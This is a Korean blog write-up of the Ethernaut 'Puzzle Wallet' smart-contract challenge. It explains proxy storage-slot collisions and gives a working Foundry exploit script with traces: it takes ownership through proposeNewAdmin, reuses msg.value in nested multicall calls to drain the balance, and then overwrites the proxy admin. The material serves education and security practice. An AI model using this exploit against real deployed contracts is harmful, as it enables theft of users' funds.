티스토리 뷰
1. 문제
Nowadays, paying for DeFi operations is impossible, fact.
A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.
They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.
Little did they know, their lunch money was at risk…
You'll need to hijack this wallet to become the admin of the proxy.
Things that might help:
- Understanding how `delegatecall` works and how `msg.sender` and `msg.value` behaves when performing one.
- Knowing about proxy patterns and the way they handle storage variables.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
2. Proxy Pattern
스마트 컨트랙트는 한 번 배포하면 코드의 수정이 불가능합니다. 이는 블록체인의 불변성으로부터 기인한 특성입니다. 이러한 특성으로 인해 취약점이 드러난 스마트 컨트랙트는 그대로 공격에 노출될 수밖에 없습니다.
취약점이 드러난 컨트랙트는 Pausable 기능을 통해 컨트랙트 사용을 통제하거나 새로운 버전의 컨트랙트를 배포하고 마이그레이션 하는 등의 방법을 사용해 어찌어찌 보수할 수는 있지만, 스토리지에 저장된 모든 정보를 마이그레이션 하기도 어렵고 비용도 만만치 않습니다.
그래서 등장한 것이 ERC-1967 프락시 패턴입니다.
프락시 패턴은 핵심 로직을 구현 Implementation 컨트랙트와 컨트랙트 호출을 프락싱하는 Proxy 컨트랙트로 구성되어 있습니다. Proxy 컨트랙트는 delegatecall을 사용하여 자신의 콘텍스트에서 Implementation 컨트랙트의 로직을 실행합니다. 따라서 모든 상태 변경은 Proxy 컨트랙트의 스토리지에 저장됩니다.
이렇게 스토리지 레이어(Proxy)와 로직 레이어(Implementation)를 나눔으로써 로직 레이어에 취약점이 발견되었을 때 손쉽게 로직 레이어를 변경할 수 있습니다. 예를 들어, 새로운 로직 레이어 컨트랙트를 배포하고 그 주소를 ERC-1967 표준에 정의된 스토리지 슬롯(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)에 저장하면 프락시 컨트랙트는 요청을 새로운 주소로 프락싱하게 됩니다. 로직 컨트랙트를 교체하는 것이 컨트랙트를 업그레이드하는 것처럼 보이기 때문에 이를 '프락시 업그레이드 패턴' 또는 '업그레이드가 가능한 컨트랙트'라고도 합니다.
3. 풀이
이번 문제를 해결하기 위해서는 PuzzleProxy 컨트랙트의 admin 권한을 탈취해야 합니다. 콘솔창에 contract.abi를 입력하면 PuzzleWallet 컨트랙트의 abi가 출력되기 때문에 혼란스러울 수 있습니다. 그러나 생성된 인스턴스는 엄연히 PuzzleProxy 컨트랙트이며 PuzzleWallet의 abi가 출력되는 것은 프락시 패턴으로 PuzzleWallet의 함수들을 호출할 수 있기 때문인 것 같습니다.
이번에는 처음부터 foundry script를 사용해 해결해 보도록 하겠습니다. 우선 제가 생성한 PuzzleProxy 인스턴스의 주소는 다음과 같습니다.
address puzzleProxyAddress = 0x86dF37FbBaD53E4EC2Af680495a42536F70CBE7C;
PuzzleProxy 인스턴스의 admin과 pendingAdmin을 먼저 확인해 보겠습니다.
// PuzzleProxy contract
IPuzzleProxy puzzleProxy = IPuzzleProxy(puzzleProxyAddress);
// admin of the PuzzleProxy is the deployer
console.log("PuzzleProxy Admin:", puzzleProxy.admin());
console.log("PuzzleProxy Pending Admin:", puzzleProxy.pendingAdmin());
== Logs ==
PuzzleProxy Admin: 0x725595BA16E76ED1F6cC1e1b65A88365cC494824
PuzzleProxy Pending Admin: 0x725595BA16E76ED1F6cC1e1b65A88365cC494824
이번에는 PuzzleProxy 인스턴스의 주소를 PuzzleWallet으로 감싸서 owner와 maxBalance를 확인해 보겠습니다.
// PuzzleProxy delegatecall to PuzzleWallet so it behaves like PuzzleWallet
PuzzleWallet puzzleProxyWallet = PuzzleWallet(puzzleProxyAddress);
// owner of the PuzzleWallet is the admin
console.log("PuzzleProxy Owner:", puzzleProxyWallet.owner());
console.log("PuzzleProxy Max balance:", puzzleProxyWallet.maxBalance());
== Logs ==
...
PuzzleProxy Owner: 0x725595BA16E76ED1F6cC1e1b65A88365cC494824
PuzzleProxy Max balance: 652733554269361572482625626281549340425241315364
652733554269361572482625626281549340425241315364를 16진수로 변환하면 0x725595BA16E76ED1F6cC1e1b65A88365cC494824가 됩니다. admin, pendingAdmin, owner 그리고 maxBalance가 완전히 동일한 값입니다.
PuzzleProxy와 PuzzleWallet은 다음과 같은 스토리지 레이아웃을 가지고 있습니다. 스토리지는 별개의 것이지만, pendingAdmin과 owner의 스토리지 슬롯 번호가 같고 admin과 maxBalance의 스토리지 슬롯 번호가 같습니다.
그렇다면 PuzzleProxy에서 delegatecall을 사용해 PuzzleWallet의 owner를 변경하면 어떻게 될까요? PuzzleWallet의 로직이 PuzzleProxy의 콘텍스트에서 실행되기 때문에 owner와 스토리지 슬롯 번호가 같은 pendingAdmin의 값이 변경됩니다.
마찬가지로 owner를 불러올 때는 PuzzleProxy의 스토리지의 0번 슬롯에 있는 pendingAdmin 값이 반환됩니다.
PuzzleProxy의 생성자 함수가 실행될 때 UpgradeableProxy의 생성자가 우선적으로 실행이 됩니다.
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}
UpgradeableProxy의 생성자는 _IMPLEMENTATION_SLOT에 로직 레이어의 주소를 저장하고 파라미터 _data의 길이가 0보다 클 경우 _data를 사용해 로직 레이어로 delegatecall을 호출합니다.
constructor(address _logic, bytes memory _data) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
delegatecall로 호출되는 함수는 PuzzleWallet의 init 함수입니다. 이 함수로 스토리지 슬롯 0번과 1번에 저장된 값이 변경됩니다. 물론 delegatecall로 호출되었기 때문에 PuzzleProxy 스토리지가 변경되게 됩니다.
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
그리고 다시 PuzzleProxy의 생성자로 돌아와 마무리로 스토리지 슬롯 1번에 저장된 admin을 변경합니다. 이 때문에 앞서 init 함수에서 _maxBalance로 초기화된 maxBalance가 다시 _admin으로 초기화되게 됩니다. _admin이 msg.sender와 동일함으로 인해 생성자로 초기화된 PuzzleProxy의 스토리지 슬롯 0번과 1번의 값이 동일해지는 결과가 나오게 됩니다.
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}
이처럼 프락시 패턴을 사용하는 경우, 어떤 값을 변경할 때 의도치 않게 다른 값을 변경하게 되는 스토리지 충돌 문제가 발생할 수 있습니다. 이 문제를 해결하기 위해서는 implementation 주소를 임의의 해시값이 가리키는 슬롯에 저장하는 것처럼 스토리지 레이아웃에 대한 충분한 설계가 수반되어야 합니다.
다만 이 문제에서는 스토리지 충돌을 활용해야 합니다. PuzzleProxy의 proposeNewAdmin 함수를 보시죠. 이 함수는 누구나 호출할 수 있으며 pendingAdmin을 _newAdmin으로 변경합니다. 스토리지의 관점에서 스토리지 슬롯의 0번에 저장된 값을 변경합니다. 0번 슬롯을 공유하는 변수는 PuzzleWallet의 owner입니다.
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
즉, proposeNewAdmin 함수를 호출하여 owner를 변경할 수 있습니다.
// propose new admin
address player = vm.addr(privateKey);
puzzleProxy.proposeNewAdmin(player);
// owner of the PuzzleWallet changes to player
console.log("PuzzleProxy Owner:", puzzleProxyWallet.owner());
== Logs ==
...
PuzzleProxy Owner: 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF
owner를 player로 변경하고 나면 owner만 호출할 수 있는 addToWhitelist 함수를 호출하여 player를 화이트리스트에 등록할 수 있습니다. 그리고 난 후에는 onlyWhitelisted 변경자가 적용된 함수들을 호출할 수 있습니다.
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
// add player to whitelist
puzzleProxyWallet.addToWhitelist(player);
// player is whitelisted
console.log("PuzzleProxy Player whitelisted:", puzzleProxyWallet.whitelisted(player));
== Logs ==
...
PuzzleProxy Player whitelisted: true
자, 이제 거의 다 왔습니다. 우리는 player가 admin이 되도록 만들어서 PuzzleProxy를 하이잭해야 합니다. admin을 변경해 봅시다. 우선 PuzzleProxy에 정의된 함수로는 admin을 변경할 수 없습니다. 남은 방법은 스토리지 레이아웃과 로직 레이어를 활용하는 방법입니다. 스토리지의 1번 슬롯에 저장된 값을 변경하는 함수를 찾아봅시다.
setMaxBalance 함수가 스토리지의 1번 슬롯에 저장된 maxBalance를 변경합니다. 이 함수를 호출하여 admin을 변경할 수 있겠군요! 그런데 함수를 잘 보시면 require문으로 this의 이더 잔액이 0인지를 확인하고 있습니다.
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
this는 맥락상 PuzzleProxy가 될 테니 PuzzleProxy의 이더 잔액을 확인해 봅시다.
// check balance of the PuzzleProxy
uint256 puzzleProxyBalance = address(puzzleProxyWallet).balance;
console.log("PuzzleProxy Balance:", puzzleProxyBalance);
0.001 이더가 들어있습니다.
== Logs ==
...
PuzzleProxy Balance: 1000000000000000
문제는 컨트랙트의 잔액을 어떻게 0으로 만드냐입니다. 이제 활용할 수 있는 함수는 deposit, execute 그리고 multicall입니다. 저는 이 부분에서 두 시간 정도를 고민했습니다. 그러다 문제에서 제시해 준 힌트에서 영감을 얻었습니다.
delegatecall로 호출된 함수에서는 실제로 이더를 받지 않았음에도 호출자 콘텍스트의 msg.value를 사용하기 때문에 자기 자신에 대해 delegatecall을 호출하는 muticall 함수를 활용하여 '이더를 보낸 셈'칠 수 있습니다.
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
예를 들어, multicall 함수에 0.001 이더를 보내면서 파라미터 data로 deposit 함수를 호출한다고 봅시다. 이더를 직접 받은 것은 multicall 함수이지만 delegatecall이 muticall 함수의 콘텍스트를 사용하기 때문에 deposit 함수는 실제로는 이더를 받지 않았음에도 msg.value의 값을 0.001 이더로 읽어 들이게 됩니다. 마찬가지로 multicall 함수의 콘텍스트를 사용하기 때문에 msg.sender는 player가 됩니다. 따라서 'balances[player] = 0.001 ether'가 됩니다. 이어서 excute 함수를 실행하면 0.001 이더를 인출할 수 있습니다.
문제는 deposit을 한 번만 호출하면 결과적으로 0.001 이더를 전송하고 0.001 이더를 인출하는 것이기 때문에 컨트랙트의 잔액은 그대로 남아있게 됩니다. 따라서 deposit 함수를 한 번 더 호출하여 'balances[player] = 0.002 ether'가 되도록 한 뒤에 0.002 이더를 인출해야 합니다.
그런데 multicall 함수를 보면 depositCalled 변수를 사용해 deposit 함수가 한 번을 초과하여 호출되지 못하도록 제어하고 있는 것을 확인할 수 있습니다. 이 경우는 어떻게 해야 할까요?
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
...
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
이 경우는 deposit 함수를 호출하는 multicall 함수를 multicall 함수에서 호출하면 됩니다. deposit 함수를 여러 번 실행하면 함수 실행이 revert 되지만 중첩된 multicall 함수에서 deposit을 실행하는 것은 아무런 문제가 되지 않습니다. 만약 또 deposit 함수를 실행해야 한다면 multicall 함수의 multicall 함수의 multicall 함수에서 deposit 함수를 실행하면 됩니다. 물론 중첩을 너무 많이 하면 stack too deep 오류가 발생할 수도 있습니다.
// deposit and execute data
bytes memory depositData = abi.encodeWithSelector(puzzleProxyWallet.deposit.selector);
bytes memory executeData = abi.encodeWithSelector(puzzleProxyWallet.execute.selector, player, puzzleProxyBalance * 2, "");
// nested multicall data
bytes[] memory multicallData = new bytes[](1);
multicallData[0] = depositData;
// multicall data
bytes[] memory data = new bytes[](3);
data[0] = abi.encodeWithSelector(puzzleProxyWallet.multicall.selector, multicallData);
data[1] = depositData;
data[2] = executeData;
// multicall with puzzleProxyBalance
puzzleProxyWallet.multicall{value: puzzleProxyBalance}(data);
// balance of the PuzzleProxy should be 0
console.log("PuzzleProxy Balance After multicall:", address(puzzleProxyWallet).balance);
[38922] 0x86dF37FbBaD53E4EC2Af680495a42536F70CBE7C::multicall{value: 1000000000000000}([0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000, 0xd0e30db0, 0xb61d27f6000000000000000000000000965b0e63e00e7805569ee3b428cf96330dfc57ef00000000000000000000000000000000000000000000000000071afd498d000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000])
├─ [43571] 0x8C6a2e5a4294d5511AB6Faf1Fb170eBc3CaEc5FF::multicall{value: 1000000000000000}([0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000, 0xd0e30db0, 0xb61d27f6000000000000000000000000965b0e63e00e7805569ee3b428cf96330dfc57ef00000000000000000000000000000000000000000000000000071afd498d000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000]) [delegatecall]
│ ├─ [27475] 0x86dF37FbBaD53E4EC2Af680495a42536F70CBE7C::multicall{value: 1000000000000000}([0xd0e30db0]) [delegatecall]
│ │ ├─ [26984] 0x8C6a2e5a4294d5511AB6Faf1Fb170eBc3CaEc5FF::multicall{value: 1000000000000000}([0xd0e30db0]) [delegatecall]
│ │ │ ├─ [25193] 0x86dF37FbBaD53E4EC2Af680495a42536F70CBE7C::deposit{value: 1000000000000000}() [delegatecall]
│ │ │ │ ├─ [24726] 0x8C6a2e5a4294d5511AB6Faf1Fb170eBc3CaEc5FF::deposit{value: 1000000000000000}() [delegatecall]
│ │ │ │ │ └─ ← ()
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ ├─ [1293] 0x86dF37FbBaD53E4EC2Af680495a42536F70CBE7C::deposit{value: 1000000000000000}() [delegatecall]
│ │ ├─ [826] 0x8C6a2e5a4294d5511AB6Faf1Fb170eBc3CaEc5FF::deposit{value: 1000000000000000}() [delegatecall]
│ │ │ └─ ← ()
│ │ └─ ← ()
│ ├─ [8770] 0x86dF37FbBaD53E4EC2Af680495a42536F70CBE7C::execute{value: 1000000000000000}(0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, 2000000000000000 [2e15], 0x) [delegatecall]
│ │ ├─ [8285] 0x8C6a2e5a4294d5511AB6Faf1Fb170eBc3CaEc5FF::execute{value: 1000000000000000}(0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, 2000000000000000 [2e15], 0x) [delegatecall]
│ │ │ ├─ [0] 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF::fallback{value: 2000000000000000}()
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
└─ ← ()
이렇게 함수를 실행하고 나면 PuzzleProxy의 잔액은 0이 됩니다.
== Logs ==
...
PuzzleProxy Balance: 1000000000000000
PuzzleProxy Balance After multicall: 0
PuzzleProxy의 잔액이 0이 되었으므로 setMaxBalance 함수를 호출할 수 있는 조건이 갖추어졌습니다. address 타입인 player를 uint256 타입으로 변환한 뒤 setMaxBalance의 인수로 전달하여 maxBalance = admin 값을 player로 변경해 줍니다.
// setMaxBalance to player
puzzleProxyWallet.setMaxBalance(uint256(uint160(player)));
// admin should be changed to player
console.log("PuzzleProxy Admin:", puzzleProxy.admin());
== Logs ==
...
PuzzleProxy Admin: 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF
admin 권한을 탈취했습니다. 인스턴스를 제출하고 마무리합니다.
4. 마무리
이것으로 모든 Ethernaut 문제(25.Motorbike 제외)를 해결했습니다! 두 달 정도 되는 시간이 걸렸는데 중간에 DEX 공부한다고 딴 길로 빠져서 예상보다 조금 더 시간이 걸렸습니다.
처음에는 가벼운 마음으로 문제 풀이에 도전해 봤는데 생각보다 디테일한 공부 없이는 문제를 풀 수 없었습니다. 그래서 그런지 모든 문제를 풀고 나니까 많이 성장했다는 느낌이 듭니다.
그리고 그동안 문제 풀이와 관련된 게시글들을 한 가지 스타일에 구애되지 않고 다양한 형식으로 작성을 했는데, 말이 좋아 다양이지 중구난방으로 질러놔서 찾아주시는 분들께 조금은 죄송스럽네요^^. 그래도 문제 풀이의 디테일을 놓치지 않기 위해 견마지로를 다하였습니다. 누추한 곳에 오신 귀한 분들께서 제 게시글을 충분히 즐겨주시길 바라며 이만 글을 마치겠습니다. Damn Vunerable DeFi 관련 문제 풀이로 다시 찾아오겠습니다.
'Solidity > Hacking' 카테고리의 다른 글
[Damn Vulnerable DeFi] Selfie (0) | 2024.02.26 |
---|---|
[Damn Vulnerable DeFi] The Rewarder (0) | 2024.02.25 |
[Ethernaut] 26. DoubleEntryPoint (1) | 2024.02.24 |
[Ethernaut] 25. Motorbike (0) | 2024.02.23 |
[Damn Vulnerable DeFi] Truster, Side Entrance (0) | 2024.02.22 |